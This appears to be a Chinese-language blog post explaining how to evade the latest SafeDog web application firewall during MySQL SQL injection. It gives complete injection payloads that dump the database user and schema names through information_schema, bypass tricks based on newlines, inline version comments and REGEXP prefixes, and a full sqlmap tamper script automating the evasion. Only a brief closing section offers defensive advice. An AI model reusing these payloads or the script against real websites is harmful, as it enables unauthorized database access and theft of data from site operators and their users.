SQL注入bypass最新版安全狗
字数 1480 2025-08-24 23:51:25
SQL注入绕过最新版安全狗技术详解
0x00 前言
安全狗作为一款常见的WAF(Web应用防火墙)产品,近期进行了规则更新,增加了对SQL注入攻击的检测能力。本文详细分析最新版安全狗的防护规则,并提供有效的绕过技术。
0x01 绕过技术分析
1. AND 绕过
- 安全狗对
AND关键字的检测较弱,可以使用内联注释绕过 - 示例:
/*!11444AND*/
2. ORDER BY 绕过
- 安全狗对
ORDER BY组合有强规则检测 - 绕过方法:
- 使用换行符
%0a分隔:order%0aby - 添加注释干扰:
/*!11444order %0a by*/ - 使用正则表达式前缀:
REGEXP "[...%25%23]" /*!11444order %0a by*/
- 使用换行符
3. UNION SELECT 绕过
- 安全狗检测
UNION SELECT组合 - 绕过方法:
- 换行分隔:
/*!11444union %0a select*/ - 注释干扰:
/*!11444union all%0a select*/ - 正则表达式前缀:
REGEXP "[...%0a%23]" /*!11444union %0a select*/
- 换行分隔:
4. 函数调用绕过
- 直接使用括号
()会被拦截 - 绕过方法:
- 在括号内添加换行和注释:
user(%0a /*!80000aaa*/) - 示例完整payload:
-1' REGEXP "[...%0a%23]" /*!11444union %0a select*/ 1,user(%0a /*!80000aaa*/),3 -- +
- 在括号内添加换行和注释:
5. INFORMATION_SCHEMA 绕过
- 安全狗检测
INFORMATION_SCHEMA关键字 - 绕过方法:
- 添加换行和注释:
/*like"%0a%23*/ %0a INFORMATION_SCHEMA - 完整示例:
-1' REGEXP "[...%0a%23]" /*!11444union %0a select*/ 1,(select %0a group_concat(schema_name %0a /*80000aaa*/) %0a from %0a /*!11444 /*REGEXP "[...%0a%23]"*/ %0a information_schema.schemata*/),3-- +
- 添加换行和注释:
0x02 Tamper脚本实现
以下是完整的Python Tamper脚本,可用于自动化绕过安全狗:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Copyright (c) 2006-2019 sqlmap developers (http:%23 %26%23 %26sqlmap.org%23 %26)
See the file 'LICENSE' for copying permission
Author:pureqh.top
"""
import re
import os
from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("Bypass safedog by pureqh'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
payload=payload.replace(" "," ",1)
payload=payload.replace("ORDER BY","REGEXP \"[...%25%23]\" /*!11444order %0a by*/")
payload=payload.replace("union ALL SELECT","/*!11444union all%0a select*/")
payload=payload.replace(" AND","/*!11444AND*/")
payload=payload.replace("(SELECT (CASE","(/*!11444SELECT*/ %0a (CASE")
payload=payload.replace("UNION SELECT","/*!11444union*/ /*REGEXP \"[...%25%23]\"*/ %0a select /*REGEXP \"[...%25%23]\"*/")
payload=payload.replace("UNION ALL SELECT","REGEXP \"[...%0a%23]\" /*!11444union %0a select */ ")
payload=payload.replace("()","(%0a /*!80000aaa*/)")
payload=payload.replace(" AS","/*!11444AS*/")
payload=payload.replace("FROM","/*!11444FROM*/")
payload=payload.replace("INFORMATION_SCHEMA","/*like\"%0a%23\"*/ %0a INFORMATION_SCHEMA")
payload=payload.replace("INFORMATION_SCHEMA.TABLES","%0a /*!11444INFORMATION_SCHEMA.TABLES*/")
return payload
0x03 技术要点总结
-
换行符利用:
%0a是绕过安全狗的关键,可以有效分隔被检测的关键字组合 -
内联注释:MySQL特有的
/*!版本号*/语法可以插入有效注释而不影响SQL执行 -
正则表达式干扰:
REGEXP "[...%0a%23]"可以作为有效的前缀干扰WAF检测 -
函数调用变形:在函数括号内插入无害内容如
/*!80000aaa*/可以绕过括号检测 -
关键字分隔:将常见组合如
UNION SELECT分隔为UNION和SELECT两部分
0x04 注意事项
- 该技术主要针对MySQL数据库
- 不同版本的安全狗可能有不同的规则,需要根据实际情况调整
- 该脚本已开源在GitHub:https://github.com/pureqh/bypasswaf
0x05 防御建议
对于防御方,建议:
- 加强对换行符和注释的检测
- 实现更严格的语法分析而非简单的关键字匹配
- 监控
INFORMATION_SCHEMA等敏感系统表的访问 - 对异常SQL语句进行日志记录和分析